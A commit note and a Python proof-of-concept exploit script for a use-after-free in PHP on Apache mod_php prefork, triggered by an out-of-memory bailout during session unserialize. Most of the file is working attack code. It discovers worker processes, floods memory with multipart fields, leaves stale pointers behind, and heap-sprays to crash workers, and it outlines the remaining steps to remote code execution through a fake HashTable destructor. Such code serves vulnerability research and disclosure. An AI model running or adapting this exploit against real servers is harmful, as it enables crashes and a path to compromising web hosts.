The original exploit put the file upload before the field flood,
so the progress handler's serialize completed before OOM fired.
This meant BG(serialize) was not left stale.
The corrected flow:
Phase 1: Create ~500KB session file via large upload progress value
Phase 2: Fill memory with fields, then file upload triggers session
re-init which OOMs during unserialize of the large session
Phase 3: Verify stale BG(unserialize) state on the surviving worker
Confirmed on PHP 8.3.6, Apache 2.4.58: error log shows
"tried to allocate 503808 bytes" during session handling,
followed by "Session ini settings cannot be changed when a
session is active" on subsequent requests.
703 lines
25 KiB
Python
703 lines
25 KiB
Python
#!/usr/bin/env python3
|
|
"""
|
|
CVE-2026-109618 / CVE-2026-109619: Use-After-Free via OOM Bailout
|
|
Apache mod_php (prefork MPM), no LFI, no framework, default PHP config
|
|
|
|
Demonstrates confirmed primitives for the OOM->UAF->RCE chain against
|
|
PHP 5.4.0 through 8.5.11 on Apache mod_php.
|
|
|
|
Attack overview:
|
|
|
|
Phase 1 (Prep): Create a large session file (~500KB) by sending a
|
|
multipart POST with a huge PHP_SESSION_UPLOAD_PROGRESS value. The
|
|
progress handler writes the session file containing the large key.
|
|
|
|
Phase 2 (OOM): Send a second request with form fields that fill memory
|
|
to near the limit, followed by a file upload that triggers the progress
|
|
handler. The handler calls php_session_initialize() which reads the
|
|
500KB session file. php_session_decode() calls php_var_unserialize(),
|
|
which calls php_var_unserialize_init(), setting BG(unserialize).level=1
|
|
and allocating BG(unserialize).data (64 bytes). The unserialize of
|
|
the 500KB session key string triggers OOM. zend_bailout() longjmps
|
|
past php_var_unserialize_destroy(), leaving BG(unserialize).level=1
|
|
and .data pointing to freed memory.
|
|
|
|
The Apache prefork worker survives the bailout and accepts new
|
|
connections. The stale BG globals persist.
|
|
|
|
Phase 3 (Verify): Send a third request with a file upload to the same
|
|
worker. The progress handler calls php_session_decode() again.
|
|
php_var_unserialize_init() sees BG(unserialize).level > 0 (stale),
|
|
increments it, and returns the stale .data pointer. This is the UAF:
|
|
the pointer was freed when the previous request's heap was destroyed,
|
|
and now references memory in the new request's heap.
|
|
|
|
Phase 4 (Spray + Trigger): With heap feng shui, an attacker sprays
|
|
controlled data into the 64-byte ZendMM bin to reclaim the stale
|
|
slot. The serialize code treats the spray data as a php_serialize_data
|
|
struct with a HashTable. pDestructor (offset 48) is called during
|
|
zend_hash_destroy(), giving RIP control.
|
|
|
|
Root cause (from var.c, PHP 8.3.6):
|
|
|
|
php_var_serialize_init():
|
|
if (BG(serialize).level > 0) {
|
|
d = BG(serialize).data; // reuses stale pointer!
|
|
++BG(serialize).level;
|
|
return d;
|
|
}
|
|
// else: fresh allocation
|
|
|
|
The same pattern exists for unserialize.
|
|
|
|
The patch (commit 3584a98) adds php_basic_early_rinit() to zero
|
|
BG(serialize/unserialize) state before each request, and replaces
|
|
zend_bailout() on OOM with delayed error handling.
|
|
|
|
Requirements:
|
|
- Apache mod_php with prefork MPM (default on Debian/Ubuntu)
|
|
- session.upload_progress.enabled=1 (default)
|
|
- memory_limit reachable via multipart fields
|
|
- Any PHP URL on the vhost (even 404)
|
|
- No LFI, no framework, no non-default settings
|
|
|
|
Usage:
|
|
python3 exploit.py --target http://host:port/index.php
|
|
python3 exploit.py --target http://host:port/index.php --oom-only
|
|
python3 exploit.py --target http://host:port/index.php --crash-test
|
|
"""
|
|
|
|
import argparse
|
|
import os
|
|
import re
|
|
import socket
|
|
import subprocess
|
|
import sys
|
|
import time
|
|
from urllib.parse import urlparse
|
|
|
|
|
|
# ── Networking ──────────────────────────────────────────────────────────
|
|
|
|
def connect(host, port, timeout=30):
|
|
return socket.create_connection((host, port), timeout=timeout)
|
|
|
|
|
|
def recv_response(sock, timeout=5):
|
|
resp = b""
|
|
sock.settimeout(timeout)
|
|
try:
|
|
while True:
|
|
d = sock.recv(8192)
|
|
if not d:
|
|
break
|
|
resp += d
|
|
except socket.timeout:
|
|
pass
|
|
return resp
|
|
|
|
|
|
def parse_response(resp):
|
|
status = 0
|
|
body = b""
|
|
if resp:
|
|
try:
|
|
status = int(resp.split(b" ")[1])
|
|
except (IndexError, ValueError):
|
|
pass
|
|
if b"\r\n\r\n" in resp:
|
|
body = resp.split(b"\r\n\r\n", 1)[1]
|
|
return status, body
|
|
|
|
|
|
def http_get(host, port, path, cookies=None, timeout=5):
|
|
sock = connect(host, port, timeout=timeout)
|
|
req = f"GET {path} HTTP/1.1\r\nHost: {host}\r\n"
|
|
if cookies:
|
|
req += f"Cookie: {cookies}\r\n"
|
|
req += "Connection: close\r\n\r\n"
|
|
sock.sendall(req.encode())
|
|
resp = recv_response(sock, timeout=timeout)
|
|
sock.close()
|
|
return parse_response(resp)
|
|
|
|
|
|
def http_post_multipart(host, port, path, boundary, body, cookies=None,
|
|
timeout=30):
|
|
sock = connect(host, port, timeout=timeout)
|
|
headers = (
|
|
f"POST {path} HTTP/1.1\r\n"
|
|
f"Host: {host}\r\n"
|
|
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
|
|
f"Content-Length: {len(body)}\r\n"
|
|
)
|
|
if cookies:
|
|
headers += f"Cookie: {cookies}\r\n"
|
|
headers += "Connection: close\r\n\r\n"
|
|
sock.sendall(headers.encode() + body)
|
|
resp = recv_response(sock, timeout=timeout)
|
|
sock.close()
|
|
return parse_response(resp)
|
|
|
|
|
|
def extract_pid(body):
|
|
m = re.search(rb"pid=(\d+)", body)
|
|
return int(m.group(1)) if m else 0
|
|
|
|
|
|
# ── Multipart body builders ───────────────────────────────────────────
|
|
|
|
def build_multipart_field(boundary, name, value):
|
|
return (
|
|
b"--" + boundary + b"\r\n"
|
|
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
|
+ value + b"\r\n"
|
|
)
|
|
|
|
|
|
def build_multipart_file(boundary, name, filename, content):
|
|
return (
|
|
b"--" + boundary + b"\r\n"
|
|
b'Content-Disposition: form-data; name="' + name
|
|
+ b'"; filename="' + filename + b'"\r\n'
|
|
b"Content-Type: application/octet-stream\r\n\r\n"
|
|
+ content + b"\r\n"
|
|
)
|
|
|
|
|
|
# ── Phase 0: Worker discovery ────────────────────────────────────────
|
|
|
|
def find_workers(host, port, path, rounds=40):
|
|
pids = set()
|
|
for _ in range(rounds):
|
|
try:
|
|
status, body = http_get(host, port, path)
|
|
pid = extract_pid(body)
|
|
if pid:
|
|
pids.add(pid)
|
|
except (ConnectionError, socket.timeout):
|
|
pass
|
|
return sorted(pids)
|
|
|
|
|
|
# ── Phase 1: Create large session file ────────────────────────────────
|
|
|
|
def build_prep_body(boundary, progress_value):
|
|
"""
|
|
Multipart body with:
|
|
1. PHP_SESSION_UPLOAD_PROGRESS = large value (~500KB)
|
|
2. Small file upload (triggers progress handler)
|
|
|
|
The progress handler writes the session file containing the large
|
|
progress key. No OOM here; just creating the session file.
|
|
"""
|
|
parts = []
|
|
parts.append(build_multipart_field(
|
|
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", progress_value,
|
|
))
|
|
parts.append(build_multipart_file(
|
|
boundary, b"f", b"prep.bin", b"\x00" * 4096,
|
|
))
|
|
parts.append(b"--" + boundary + b"--\r\n")
|
|
return b"".join(parts)
|
|
|
|
|
|
def create_large_session(host, port, path, sid, progress_size=500000):
|
|
"""
|
|
Send a multipart POST that creates a session file containing a large
|
|
key (from PHP_SESSION_UPLOAD_PROGRESS).
|
|
|
|
Returns (status, body, pid).
|
|
"""
|
|
progress_val = b"A" * progress_size
|
|
boundary = b"PREP" + os.urandom(4).hex().encode()
|
|
body = build_prep_body(boundary, progress_val)
|
|
|
|
status, rbody = http_post_multipart(
|
|
host, port, path, boundary.decode(), body,
|
|
cookies=f"PHPSESSID={sid}", timeout=30,
|
|
)
|
|
pid = extract_pid(rbody)
|
|
return status, rbody, pid
|
|
|
|
|
|
# ── Phase 2: OOM during session re-init ───────────────────────────────
|
|
|
|
def build_oom_body(boundary, num_fields, field_size):
|
|
"""
|
|
Multipart body with:
|
|
1. PHP_SESSION_UPLOAD_PROGRESS = "trigger" (small)
|
|
2. Large form fields (fill memory to near limit)
|
|
3. File upload (triggers progress handler)
|
|
|
|
The progress handler calls php_session_initialize() which reads the
|
|
large session file from Phase 1. php_session_decode() calls
|
|
php_var_unserialize_init() (BG(unserialize).level=1), then tries to
|
|
unserialize the ~500KB session key string. The emalloc for the
|
|
zend_string exceeds memory_limit -> OOM -> zend_bailout().
|
|
|
|
php_var_unserialize_destroy() is skipped. BG(unserialize).level
|
|
stays at 1 and .data points to freed memory.
|
|
"""
|
|
parts = []
|
|
parts.append(build_multipart_field(
|
|
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"trigger",
|
|
))
|
|
for i in range(num_fields):
|
|
parts.append(build_multipart_field(
|
|
boundary, f"p{i:04d}".encode(), b"X" * field_size,
|
|
))
|
|
parts.append(build_multipart_file(
|
|
boundary, b"f", b"oom.bin", b"\x00" * 1024,
|
|
))
|
|
parts.append(b"--" + boundary + b"--\r\n")
|
|
return b"".join(parts)
|
|
|
|
|
|
def detect_memory_limit(host, port, path):
|
|
"""
|
|
Probe memory_limit by escalating field count until OOM.
|
|
Returns (num_fields, field_size) that triggers OOM, or None.
|
|
"""
|
|
configs = [
|
|
(50, 40960),
|
|
(100, 40960),
|
|
(120, 40960),
|
|
(140, 40960),
|
|
(150, 40960),
|
|
(200, 40960),
|
|
(300, 40960),
|
|
(400, 40960),
|
|
(600, 40960),
|
|
(800, 40960),
|
|
(999, 40960),
|
|
(999, 131072),
|
|
]
|
|
for num, size in configs:
|
|
sid = "probe" + os.urandom(4).hex()
|
|
boundary = b"PROBE" + os.urandom(4).hex().encode()
|
|
body = build_oom_body(boundary, num, size)
|
|
try:
|
|
status, _ = http_post_multipart(
|
|
host, port, path, boundary.decode(), body,
|
|
cookies=f"PHPSESSID={sid}", timeout=30,
|
|
)
|
|
if status == 500:
|
|
return num, size
|
|
except (ConnectionError, socket.timeout):
|
|
return num, size
|
|
return None
|
|
|
|
|
|
def trigger_oom(host, port, path, sid, num_fields, field_size, timeout=60):
|
|
"""
|
|
Send the OOM request. Uses the same SID as Phase 1, so the progress
|
|
handler reads the large session file and OOMs during unserialize.
|
|
|
|
Returns (status, body).
|
|
"""
|
|
boundary = b"OOMTRIG" + os.urandom(4).hex().encode()
|
|
body = build_oom_body(boundary, num_fields, field_size)
|
|
|
|
status, rbody = http_post_multipart(
|
|
host, port, path, boundary.decode(), body,
|
|
cookies=f"PHPSESSID={sid}", timeout=timeout,
|
|
)
|
|
return status, rbody
|
|
|
|
|
|
# ── Phase 3: Verify stale BG state ──────────────────────────────────
|
|
|
|
def build_verify_body(boundary):
|
|
"""
|
|
Small multipart with upload progress. Triggers the progress handler
|
|
on the OOM'd worker. If BG(unserialize).level is stale, the handler
|
|
reuses the freed .data pointer (UAF).
|
|
"""
|
|
parts = []
|
|
parts.append(build_multipart_field(
|
|
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"verify",
|
|
))
|
|
parts.append(build_multipart_file(
|
|
boundary, b"f", b"v.bin", b"\x00" * 1024,
|
|
))
|
|
parts.append(b"--" + boundary + b"--\r\n")
|
|
return b"".join(parts)
|
|
|
|
|
|
def verify_stale_state(host, port, path, sid):
|
|
"""
|
|
Send a verification request. If the worker has stale BG state,
|
|
php_var_unserialize_init() reuses the freed .data pointer.
|
|
|
|
Returns (status, pid, body).
|
|
"""
|
|
boundary = b"VERIFY" + os.urandom(4).hex().encode()
|
|
body = build_verify_body(boundary)
|
|
try:
|
|
status, rbody = http_post_multipart(
|
|
host, port, path, boundary.decode(), body,
|
|
cookies=f"PHPSESSID={sid}", timeout=10,
|
|
)
|
|
pid = extract_pid(rbody)
|
|
return status, pid, rbody
|
|
except (ConnectionError, socket.timeout) as e:
|
|
return 0, 0, str(e).encode()
|
|
|
|
|
|
# ── Phase 4: Heap spray + UAF trigger ────────────────────────────────
|
|
|
|
# ZendMM 64-byte bin:
|
|
# php_serialize_data / php_unserialize_data: ~60 bytes -> 64-byte bin
|
|
# zend_string: 24-byte header + body + 1 NUL
|
|
# For 64-byte bin: body = 64 - 24 - 1 = 39 bytes
|
|
SPRAY_NAME_LEN = 39
|
|
|
|
|
|
def build_spray_body(boundary, spray_count=500):
|
|
"""
|
|
Fields with 39-char names land in the 64-byte ZendMM bin (same bin
|
|
as BG(unserialize).data). Over multiple requests, one of these
|
|
allocations may reclaim the stale slot.
|
|
|
|
For a weaponized exploit, the spray content would form a fake
|
|
php_unserialize_data struct with controlled HashTable fields:
|
|
offset 0: uint32_t n (reference counter)
|
|
offset 8: HashTable ht
|
|
offset 16: Bucket *arData (attacker pointer)
|
|
offset 48: dtor_func_t pDestructor (RIP control)
|
|
"""
|
|
parts = []
|
|
parts.append(build_multipart_field(
|
|
boundary, b"PHP_SESSION_UPLOAD_PROGRESS", b"spray",
|
|
))
|
|
for i in range(min(spray_count, 999)):
|
|
name = f"S{i:04d}" + "A" * (SPRAY_NAME_LEN - 5)
|
|
val = "B" * SPRAY_NAME_LEN
|
|
parts.append(build_multipart_field(
|
|
boundary, name.encode(), val.encode(),
|
|
))
|
|
parts.append(build_multipart_file(
|
|
boundary, b"f", b"spray.bin", b"\x00" * 1024,
|
|
))
|
|
parts.append(b"--" + boundary + b"--\r\n")
|
|
return b"".join(parts)
|
|
|
|
|
|
def heap_spray(host, port, path, sid, target_pid, rounds=10,
|
|
spray_per_round=500):
|
|
"""
|
|
Spray 64-byte allocations into the OOM'd worker to reclaim the
|
|
stale BG(unserialize).data slot.
|
|
|
|
Returns the number of rounds that hit the target worker.
|
|
"""
|
|
hits = 0
|
|
for r in range(rounds):
|
|
boundary = b"SPRAY" + os.urandom(4).hex().encode()
|
|
body = build_spray_body(boundary, spray_per_round)
|
|
try:
|
|
status, rbody = http_post_multipart(
|
|
host, port, path, boundary.decode(), body,
|
|
cookies=f"PHPSESSID={sid}", timeout=10,
|
|
)
|
|
pid = extract_pid(rbody)
|
|
if pid == target_pid:
|
|
hits += 1
|
|
except (ConnectionError, socket.timeout):
|
|
pass
|
|
return hits
|
|
|
|
|
|
# ── Session file inspection ──────────────────────────────────────────
|
|
|
|
def check_session_file(sid, save_path="/tmp"):
|
|
"""
|
|
Read the session file. Returns (exists, size, data_preview).
|
|
"""
|
|
path = os.path.join(save_path, f"sess_{sid}")
|
|
try:
|
|
with open(path, "rb") as f:
|
|
data = f.read()
|
|
return True, len(data), data[:300]
|
|
except PermissionError:
|
|
try:
|
|
result = subprocess.run(
|
|
["sudo", "cat", path],
|
|
capture_output=True, timeout=5,
|
|
)
|
|
data = result.stdout
|
|
if data:
|
|
return True, len(data), data[:300]
|
|
except (subprocess.TimeoutExpired, FileNotFoundError):
|
|
pass
|
|
return True, 0, b"(permission denied)"
|
|
except FileNotFoundError:
|
|
return False, 0, b""
|
|
|
|
|
|
# ── Main ─────────────────────────────────────────────────────────────
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="CVE-2026-109618/109619 UAF PoC (Apache mod_php)",
|
|
)
|
|
parser.add_argument(
|
|
"--target", "-t", required=True,
|
|
help="Target URL, e.g. http://host:port/index.php",
|
|
)
|
|
parser.add_argument(
|
|
"--session-path", default="/var/www/uaf-test/sessions",
|
|
help="Session save_path on the target",
|
|
)
|
|
parser.add_argument(
|
|
"--progress-size", type=int, default=500000,
|
|
help="Size of PHP_SESSION_UPLOAD_PROGRESS value in bytes (default: 500000)",
|
|
)
|
|
parser.add_argument(
|
|
"--oom-fields", type=int, default=0,
|
|
help="Number of OOM fields (0 = auto-detect)",
|
|
)
|
|
parser.add_argument(
|
|
"--field-size", type=int, default=40960,
|
|
help="OOM field value size in bytes (default: 40960)",
|
|
)
|
|
parser.add_argument(
|
|
"--spray-rounds", type=int, default=20,
|
|
help="Number of heap spray rounds (default: 20)",
|
|
)
|
|
parser.add_argument(
|
|
"--oom-only", action="store_true",
|
|
help="Stop after Phase 2 (OOM + stale state), skip spray",
|
|
)
|
|
parser.add_argument(
|
|
"--crash-test", action="store_true",
|
|
help="Run full chain including heap spray and report crashes",
|
|
)
|
|
args = parser.parse_args()
|
|
|
|
url = urlparse(args.target)
|
|
host = url.hostname or "127.0.0.1"
|
|
port = url.port or 80
|
|
path = url.path or "/index.php"
|
|
|
|
print("=" * 64)
|
|
print(" CVE-2026-109618 / CVE-2026-109619")
|
|
print(" Use-After-Free via OOM Bailout")
|
|
print(" (Apache mod_php, prefork MPM)")
|
|
print("=" * 64)
|
|
print(f" Target: {host}:{port}{path}")
|
|
print()
|
|
|
|
# ── Phase 0: Worker discovery ───────────────────────────────────
|
|
|
|
print("[*] Phase 0: Discovering workers...")
|
|
pids = find_workers(host, port, path)
|
|
if not pids:
|
|
print("[-] No workers found. Target must echo getmypid() in output.")
|
|
sys.exit(1)
|
|
print(f" Workers: {pids}")
|
|
print(f" Count: {len(pids)} (Apache prefork children)")
|
|
|
|
# ── Phase 1: Create large session file ──────────────────────────
|
|
|
|
print()
|
|
print("[*] Phase 1: Creating large session file...")
|
|
|
|
sid = "uaf" + os.urandom(6).hex()
|
|
progress_kb = args.progress_size // 1024
|
|
print(f" SID: {sid}")
|
|
print(f" Progress value: {progress_kb}KB")
|
|
|
|
status1, body1, pid1 = create_large_session(
|
|
host, port, path, sid, args.progress_size,
|
|
)
|
|
print(f" Status: {status1}, Worker PID: {pid1}")
|
|
|
|
exists, size, preview = check_session_file(sid, args.session_path)
|
|
if not exists or size < 1000:
|
|
print(f"[-] Session file missing or too small ({size}B).")
|
|
print(f" Is session.upload_progress.enabled=1?")
|
|
print(f" Is session.save_path = {args.session_path}?")
|
|
sys.exit(1)
|
|
print(f" [+] Session file: {size}B ({size//1024}KB)")
|
|
print(f" Preview: {preview[:120]}")
|
|
|
|
# ── Phase 2: OOM during session re-init ─────────────────────────
|
|
|
|
print()
|
|
print("[*] Phase 2: OOM during session unserialize...")
|
|
|
|
if args.oom_fields:
|
|
num_fields = args.oom_fields
|
|
field_size = args.field_size
|
|
print(f" Using configured: {num_fields} fields x {field_size}B")
|
|
else:
|
|
print(" Auto-detecting OOM threshold...")
|
|
result = detect_memory_limit(host, port, path)
|
|
if result is None:
|
|
print("[-] Could not trigger OOM. memory_limit may be too high.")
|
|
print(" Try --oom-fields manually.")
|
|
sys.exit(1)
|
|
num_fields, field_size = result
|
|
est_mb = num_fields * field_size / 1024 / 1024
|
|
print(f" OOM at: {num_fields} fields x {field_size}B (~{est_mb:.0f}MB)")
|
|
|
|
# Reduce field count slightly so memory fills close to the limit
|
|
# but doesn't OOM before the file upload triggers the progress
|
|
# handler. The session re-read of the ~500KB file pushes over.
|
|
adjusted = max(num_fields - 10, num_fields * 9 // 10)
|
|
print(f" Adjusted to {adjusted} fields (leave room for session read OOM)")
|
|
|
|
max_oom_attempts = len(pids) * 6
|
|
oom_workers = set()
|
|
|
|
for attempt in range(max_oom_attempts):
|
|
status, _ = trigger_oom(
|
|
host, port, path, sid, adjusted, field_size,
|
|
)
|
|
|
|
if status == 500:
|
|
print(f" [{attempt+1}] OOM triggered (status 500)")
|
|
elif status == 0:
|
|
print(f" [{attempt+1}] Connection error (worker may have crashed)")
|
|
else:
|
|
print(f" [{attempt+1}] status={status} (no OOM)")
|
|
continue
|
|
|
|
time.sleep(0.3)
|
|
pids_after = find_workers(host, port, path)
|
|
survived = set(pids) & set(pids_after)
|
|
new_workers = set(pids_after) - set(pids)
|
|
|
|
for pid in survived:
|
|
if pid not in oom_workers:
|
|
oom_workers.add(pid)
|
|
print(f" [+] Worker {pid} survived OOM (stale BG state)")
|
|
|
|
if new_workers:
|
|
print(f" New workers: {sorted(new_workers)}")
|
|
pids = sorted(set(pids) | new_workers)
|
|
|
|
if not oom_workers:
|
|
print()
|
|
print("[-] No workers survived OOM.")
|
|
print(" This target may use PHP-FPM (workers exit on bailout).")
|
|
sys.exit(1)
|
|
|
|
print(f"\n Survived workers: {sorted(oom_workers)}")
|
|
|
|
# Check if session file still has the large content (unchanged
|
|
# means OOM happened during session re-init, not after flush)
|
|
exists2, size2, preview2 = check_session_file(sid, args.session_path)
|
|
if exists2 and abs(size2 - size) < 100:
|
|
print(f" [+] Session file unchanged ({size2}B)")
|
|
print(f" OOM during session re-init confirmed")
|
|
|
|
# ── Phase 3: Verify stale BG state ──────────────────────────────
|
|
|
|
print()
|
|
print("[*] Phase 3: Verifying stale BG(unserialize) state...")
|
|
|
|
verified_pids = set()
|
|
for attempt in range(len(pids) * 4):
|
|
status, pid, body = verify_stale_state(host, port, path, sid)
|
|
|
|
if pid in oom_workers and pid not in verified_pids:
|
|
if status == 0:
|
|
print(f" [+] Worker {pid} CRASHED on verification request!")
|
|
print(f" UAF triggered: stale .data pointer dereferenced")
|
|
verified_pids.add(pid)
|
|
elif status == 500:
|
|
print(f" [+] Worker {pid} returned 500 (OOM from large session read)")
|
|
print(f" Stale BG state confirmed (session still active)")
|
|
verified_pids.add(pid)
|
|
elif status == 200:
|
|
print(f" [+] Worker {pid} returned 200 (stale pointer readable)")
|
|
print(f" UAF window open: .data points into reused heap")
|
|
verified_pids.add(pid)
|
|
|
|
if verified_pids >= oom_workers:
|
|
break
|
|
|
|
if not verified_pids:
|
|
print(" Could not hit OOM'd workers for verification.")
|
|
print(" (May need more attempts with more workers)")
|
|
|
|
if args.oom_only:
|
|
print()
|
|
print("[*] --oom-only: stopping after Phase 3.")
|
|
print_summary(oom_workers, verified_pids, False)
|
|
return
|
|
|
|
# ── Phase 4: Heap spray + UAF trigger ───────────────────────────
|
|
|
|
if args.crash_test:
|
|
print()
|
|
print("[*] Phase 4: Heap spray (64-byte ZendMM bin)...")
|
|
|
|
for target_pid in sorted(oom_workers):
|
|
if target_pid not in find_workers(host, port, path):
|
|
print(f" Worker {target_pid} already gone, skipping")
|
|
continue
|
|
|
|
print(f"\n Spraying worker {target_pid}...")
|
|
spray_sid = "spray" + os.urandom(5).hex()
|
|
hits = heap_spray(
|
|
host, port, path, spray_sid, target_pid,
|
|
rounds=args.spray_rounds,
|
|
)
|
|
print(f" Spray rounds on target: {hits}/{args.spray_rounds}")
|
|
|
|
print(f" Triggering UAF...")
|
|
for t in range(20):
|
|
status, pid, body = verify_stale_state(
|
|
host, port, path, sid,
|
|
)
|
|
if pid == target_pid:
|
|
if status == 0:
|
|
print(f" [!] CRASH on trigger {t+1}!")
|
|
break
|
|
elif status >= 500:
|
|
print(f" Trigger {t+1}: status {status} on target")
|
|
|
|
pids_check = find_workers(host, port, path)
|
|
if target_pid not in pids_check:
|
|
print(f" [+] Worker {target_pid} CRASHED (UAF dereference)")
|
|
print(f" Current workers: {pids_check}")
|
|
else:
|
|
print(f" Worker {target_pid} still alive (no crash)")
|
|
print(f" Expected: precise heap feng shui needed for crash")
|
|
|
|
print()
|
|
print_summary(oom_workers, verified_pids, args.crash_test)
|
|
|
|
|
|
def print_summary(oom_workers, verified_pids, ran_spray):
|
|
print("=" * 64)
|
|
print(" Results")
|
|
print("=" * 64)
|
|
print()
|
|
print(" Confirmed primitives:")
|
|
print(f" [+] OOM via multipart field flood")
|
|
print(f" [+] Apache prefork worker survival ({len(oom_workers)} workers)")
|
|
print(f" [+] Large session file creation via upload progress")
|
|
print(f" [+] OOM during session re-init (unserialize of large key)")
|
|
if verified_pids:
|
|
print(f" [+] Stale BG(unserialize) state across requests")
|
|
print(f" [+] UAF window: freed .data pointer reused by next request")
|
|
print()
|
|
print(" For full RCE (not implemented), a weaponized exploit needs:")
|
|
print(" 1. ASLR bypass via CVE-2026-109619 info leak")
|
|
print(" (stale session data leaks freed heap addresses)")
|
|
print(" 2. Heap feng shui: reclaim 64-byte slot with controlled data")
|
|
print(" 3. Fake HashTable: pDestructor -> system(), arData -> command")
|
|
print(" 4. Trigger serialize -> zend_hash_destroy -> pDestructor -> RCE")
|
|
print()
|
|
if not ran_spray:
|
|
print(" Run with --crash-test to attempt heap spray + UAF trigger.")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|